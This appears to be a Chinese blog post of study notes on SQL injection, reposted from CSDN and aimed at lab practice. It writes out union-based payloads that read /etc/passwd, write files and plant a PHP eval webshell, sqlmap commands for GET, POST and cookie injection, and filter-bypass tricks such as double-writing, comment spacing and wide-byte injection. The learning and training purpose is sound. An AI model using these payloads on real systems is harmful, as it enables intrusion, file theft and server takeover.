T-star sql注入

找注入点

  • 点击不同文章链接url id会改变
  • 在url后加入单引号发现sql语句报错
  • 在url后加入and 1=1及and1=2查看结果是否相同从而判断注入点存在

sql注入读取文件:

 id = -33 union select select 1,2,load_file("/etc/passwd")

sql注入写文件:

id=-33 union select 1,2,'test' into outfile '/var/www/html/test.txt'

需要去修改权限允许写入文件

sql注入写webshell

web启动权限依据中间件权限,phpstudy用administor启动,它apache里面的服务也是管理员权限,拿到shell去执行whoami,提示的是启动者。
所以mysql的other身份要有w写权限:

id=-33 union select 1,2,"<?php eval($_POST[CMD]);?>" into outfile '/var/www/html/test.php'

get型注入

sqlmap

多个参数:-p指定参数作为注入点
sqlmap.py -u "http://127.0.0.1/index.php?id=1&cc=1" -p "cc"
多条URL:-m 文本文件,选n自动进入下一条url

burpsuite(不单单抓包爆破)

保存日志:project options选项卡->logging->proxy->对勾requests->设置文件名保存。
然后在sqlmap -l +文件读burp抓取的日志里面的Url注入点
在这里插入图片描述在这里插入图片描述### post型注入

通关--data进行数据传送
sqlmap.py -u "127.0.0.1/index.php"  --data 数据

推荐训练平台:sql-lib(通关可得大佬勋章)

cookie注入

  1. 设置注入等级:
    对cookie值进行sql注入探测,需要设置level=2
    1. 会检测post和get
    2. 会检测cookie
    3. 会检测user-agent和referer
  2. 使用场景:
    1.web应用程序具有基于cookie验证的过程
    2.想要利用cookie之上的sql注入漏洞
    原理还是sql注入的原理,只不过是不是检测url后缀而是在数据头的cookie中传参比如id=admin存在注入点
sqlmap注入的时候加--cookie字段传数据并设置level就可以:
sqlmap.py -u "http://127.0.0.1/" --COOKIE "id=admin" --level=2 --dbs

sqlmap详解:

  • –batch 选择默认选项中间不需要进行其他操作
  • –start --stop选择显示列范围
  • –tamper 代理注入(常用)

绕过过滤

双写绕过

  • union ->ununionion
  • %23(也就是#)截断结尾

大小写绕过

绕过空格

  1. 注释绕过id=1'/**/and/**/1=1%23
  2. %09、%0a、%0d、%0b绕过
  3. 括号绕过,+号、tab键、两个空格、反引号也可以

绕过=号

  1. 使用like绕过:-1'union select * from users where id like 2%23
  2. 使用<>绕过:-1'union select * from users where !(id<>2) %23
单引号被转义 – 宽字节注入

原id=1’被转义为1%5c,使用%df进行闭合:id=1%df ’ 防止单引号被转义 (utf-8不存在)

猜你喜欢

转载自blog.csdn.net/s11show_163/article/details/106825297